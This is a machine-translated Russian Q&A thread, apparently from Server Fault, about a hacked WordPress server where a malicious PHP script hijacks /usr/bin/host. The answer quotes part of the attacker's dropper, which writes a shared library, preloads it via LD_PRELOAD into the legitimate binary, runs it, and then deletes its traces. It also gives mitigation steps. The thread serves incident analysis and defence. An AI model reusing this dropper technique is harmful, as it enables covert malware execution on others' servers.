Вопрос: / usr / bin / host, выполненный взломанным скриптом PHP


Сегодня я заметил необычную высокую частоту запросов на веб-сервере Apache, а также довольно высокий входящий сетевой трафик. После проверки страницы mod_status Apache, я обнаружил, что URL-адреса, вызывающие нарушение, находятся на пути www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/, И действительно, я нашел несколько взломанных (запутанных) PHP-скриптов.

Также заметил странный процесс, выполняемый пользователем www-data:

www-data  7300 10.8  0.1 2122900 18768 ?       Ssl  Jul11 121:47 /usr/bin/host

проверка /proc/7300/cmdline что действительно это оригинал /usr/bin/host двоичный файл. netstat -anp показал, что у него открыто много HTTP-соединений, поэтому каким-то образом из-за злоупотребления двоичным кодом. debsums подтвердил, что двоичная контрольная сумма будет в порядке. Поскольку процесс выполнялся под пользователем www-data, у меня не было оснований полагать, что сам сервер был скомпрометирован.

Как это бинарное насилие?

EDIT: Это не широкий вопрос о том, как бороться с компрометацией сервера. Скорее вопрос (и уже ответ) об одном конкретном типе злоупотреблений, как это технически делается, поскольку этот конкретный случай довольно креативен в том, как он работает. Кажется, что это уже в дикой природе уже несколько лет (старые темы и вопросы с 2012 года), и я столкнулся с этим на этой неделе.


8
2017-07-12 21:59


Источник


Поскольку связанный с этим вопрос закрыт, я открыл новый и поместил свои выводы в ответ. serverfault.com/questions/554801/... - Marki555
возможный дубликат Как я могу работать с взломанным сервером? - Ward


Ответы:


После копания в исходных кодах оскорбленных PHP-скриптов и googling (эта тема), Я нашел объяснение.

Это часть system.php код, который я нашел:

<?php
// ...
$n = file_put_contents("./libworker.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
// ...

Как /usr/bin/host является немного более продвинутым. Программы используют библиотеки (.so файлы) для некоторых из их функций. Пользователи могут предварительно связывать (LD_PRELOAD) некоторые .so файлы (ы) перед запуском законного двоичного файла, чтобы изменить, как он действует.

Как вы можете видеть, этот скрипт создает файл libworker.so и использует LD_PRELOAD переменная среды для предварительной загрузки, поэтому законная host бинарный делает что-то совершенно другое.

Он создает 1.sh сценарий оболочки и пытается выполнить его несколькими способами (напрямую, используя at команда, используя cron). Сразу после этого он удаляет файл сценария и библиотеки с диска, поэтому он не замечается.

В первую очередь произошло то, что какой-то уязвимый плагин Wordpress получил злоупотребление, и злоумышленник смог поместить свои файлы в каталоги, написанные словами.

Смягчение означает анализ старых файлов журнала доступа для этого домена и поиск любых POST запросы к необычным местам - например, прямой доступ к файлам PHP плагина WP / Joomla необычен. Затем удалите все найденные запутанные файлы PHP, исправьте разрешения каталога, завершите работу host обрабатывает и контролирует лог-файлы для любых попыток перехвата.

РЕДАКТИРОВАТЬ: У меня есть информация от ESET, что они узнают эту конкретную библиотеку, а также другие версии. Антивирусные компании дают название Roopre и кажется, что он используется как часть нанесение увечья ботнет.

В глубине анализ ботнета Mayhem.

В глубине анализ этого эксплойта.


9
2017-07-12 21:59